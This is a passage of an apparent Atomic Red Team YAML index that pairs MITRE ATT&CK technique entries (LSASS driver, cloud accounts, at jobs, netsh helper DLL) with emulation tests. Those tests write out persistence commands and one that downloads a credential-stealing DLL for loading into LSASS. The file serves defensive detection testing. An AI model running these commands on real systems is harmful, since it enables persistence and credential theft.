\n}\nelse{\n Write-Host \"32-bit Office\"\n reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\" /f\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"\n" cleanup_command: |- Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore Remove-Item "HKCU:\Software\Microsoft\Office test\Special\Perf" -ErrorAction Ignore T1547.008: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4 created: '2020-01-24T18:38:55.801Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1547.008 url: https://attack.mitre.org/techniques/T1547/008 - source_name: Microsoft LSA Protection Mar 2014 url: https://technet.microsoft.com/library/dn408187.aspx description: Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. - source_name: Microsoft DLL Security url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. - source_name: Microsoft Security Subsystem url: https://technet.microsoft.com/library/cc961760.aspx description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. - source_name: TechNet Autoruns url: https://technet.microsoft.com/en-us/sysinternals/bb963902 description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. x_mitre_deprecated: false revoked: false description: |- Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Autostart Execution: LSASS Driver' x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'Driver: Driver Load' - 'File: File Modification' x_mitre_permissions_required: - SYSTEM - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.008 atomic_tests: - name: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt auto_generated_guid: 8ecef16d-d289-46b4-917b-0dba6dc81cf1 description: "The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n" supported_platforms: - windows input_arguments: dll_path: description: Module to be loaded into LSASS type: path default: PathToAtomicsFolder\..\ExternalPayloads\lsass_lib.dll dependency_executor_name: powershell dependencies: - description: 'lsass_lib.dll must exist on disk at specified location (#{dll_path}) ' prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}" executor: command: 'New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}" ' cleanup_command: 'Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null ' name: powershell elevation_required: true T1078.004: technique: modified: '2024-03-29T15:42:13.499Z' name: 'Valid Accounts: Cloud Accounts' description: "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_version: '1.7' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65 created: '2020-03-13T20:36:57.378Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/004 external_id: T1078.004 - source_name: AWS Identity Federation description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020. url: https://aws.amazon.com/identity/federation/ - source_name: Google Federating GC description: Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020. url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction - source_name: Microsoft Deploying AD Federation description: Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.004 atomic_tests: - name: Creating GCP Service Account and Service Account Key auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e description: 'GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud. ' supported_platforms: - google-workspace - iaas:gcp input_arguments: project-id: description: ID of the project, you want to create service account as well as service account key for type: string default: art-project-1 service-account-name: description: Name of the service account type: string default: gcp-art-service-account-1 service-account-email: description: Email of the service account type: string default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com output-key-file: description: Email of the service account type: string default: gcp-art-service-account-1.json executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email} cleanup_command: 'gcloud iam service-accounts delete #{service-account-email} --quiet ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - name: Azure Persistence Automation Runbook Created or Modified auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac description: | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. supported_platforms: - iaas:azure input_arguments: username: description: Azure username type: string default: password: description: Azure password type: string default: resource_group: description: Name of the resource group type: string default: runbook_name: description: Name of the runbook name type: string default: automation_account_name: description: Name of the automation account name type: string default: dependency_executor_name: powershell dependencies: - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install terraform. ' - description: 'Install-Module -Name Az ' prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force ' - description: 'Check if the user is logged into Azure. ' prereq_command: 'az account show ' get_prereq_command: "echo Configure your Azure account using: az login. \n" - description: 'Create dependency resources using terraform ' prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate" ){ exit 0 } else {exit 1}} catch {exit 1} ' get_prereq_command: | cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform init terraform apply -auto-approve executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-AzAccount -Credential $creds New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name} name: powershell elevation_required: false cleanup_command: | Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform destroy -auto-approve - name: GCP - Create Custom IAM Role auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85 description: "This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n" supported_platforms: - iaas:gcp input_arguments: project-id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 role-name: description: The name of the role to be created. type: string default: AtomicRedTeamRole role-description: description: The description of the role to be created. type: string default: Atomic Red Team Custom IAM Role roles: description: List of roles to be applied type: string default: iam.serviceAccounts.get executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id} cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id} ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' T1053.002: technique: modified: '2023-11-15T14:38:10.876Z' name: 'Scheduled Task/Job: At' description: |- Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '2.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Scheduled Job: Scheduled Job Creation' - 'Network Traffic: Network Traffic Flow' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0 created: '2019-11-27T13:52:45.853Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/002 external_id: T1053.002 - source_name: rowland linux at 2019 description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ - source_name: GTFObins at description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021. url: https://gtfobins.github.io/gtfobins/at/ - source_name: Linux at description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. url: https://man7.org/linux/man-pages/man1/at.1p.html - source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.002 atomic_tests: - name: At.exe Scheduled task auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8 description: | Executes cmd.exe Note: deprecated in Windows 8+ Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time. supported_platforms: - windows executor: name: command_prompt elevation_required: false command: 'at 13:20 /interactive cmd ' - name: At - Schedule a job auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e description: 'This test submits a command to be run in the future by the `at` daemon. ' supported_platforms: - linux input_arguments: time_spec: description: Time specification of when the command should run type: string default: now + 1 minute at_command: description: The command to be run type: string default: echo Hello from Atomic Red Team dependency_executor_name: sh dependencies: - description: 'The `at` and `atd` executables must exist in the PATH ' prereq_command: 'if [ "$(uname)" = ''FreeBSD'' ]; then which at; else which at && which atd; fi; ' get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'' ' - description: 'The `atd` daemon must be running ' prereq_command: 'if [ $(uname) = ''Linux'' ]; then systemctl status atd || service atd status; fi; ' get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'' ' executor: name: sh elevation_required: false command: 'echo "#{at_command}" | at #{time_spec}' T1556: technique: modified: '2024-04-11T21:51:44.851Z' name: Modify Authentication Process description: |- Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Chris Ross @xorrior x_mitre_deprecated: false x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Network - Azure AD - Google Workspace - IaaS - Office 365 - SaaS x_mitre_version: '2.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Process: Process Access' - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Authentication' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Creation' - 'File: File Creation' - 'User Account: User Account Modification' - 'File: File Modification' - 'Module: Module Load' - 'Cloud Service: Cloud Service Modification' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84 created: '2020-02-11T19:01:56.887Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556 external_id: T1556 - source_name: Clymb3r Function Hook Passwords Sept 2013 description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ - source_name: Xorrior Authorization Plugins description: Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. url: https://xorrior.com/persistent-credential-theft/ - source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis - source_name: dump_pwd_dcsync description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. url: https://adsecurity.org/?p=2053 - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.007: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Matthew Demaske, Adaptforward object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed created: '2020-01-24T14:26:51.207Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1546.007 url: https://attack.mitre.org/techniques/T1546/007 - source_name: Demaske Netsh Persistence url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. - source_name: TechNet Netsh url: https://technet.microsoft.com/library/bb490939.aspx description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. - source_name: Github Netsh Helper CS Beacon url: https://github.com/outflankbv/NetshHelperBeacon description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. x_mitre_deprecated: false revoked: false description: |- Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Event Triggered Execution: Netsh Helper DLL' x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - SYSTEM x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.007 atomic_tests: - name: Netsh Helper DLL Registration auto_generated_guid: 3244697d-5a3a-4dfc-941c-550f69f91a4d description: | You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called. The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run. [Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html) [Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon) supported_platforms: - windows input_arguments: helper_file: description: Path to DLL type: path default: PathToAtomicsFolder\T1546.007\bin\NetshHelper.dll dependency_executor_name: powershell dependencies: - description: 'Helper DLL must exist on disk at specified location (#{helper_file}) ' prereq_command: 'if (Test-Path "#{helper_file}") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{helper_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}" executor: command: | netsh.exe add helper "#{helper_file}" taskkill /im notepad.exe /t /f > NUL 2>&1 cleanup_command: 'netsh.exe delete helper "#{helper_file}" ' name: command_prompt elevation_required: true T1505.001: technique: x_mitre_platforms: - Windows - Linux x_mitre_domains: - enterprise-attack x_mitre_contributors: - Carlos Borges, @huntingneo, CIP - Lucas da Silva Pereira, @vulcanunsec, CIP - Kaspersky object_marking_refs: - 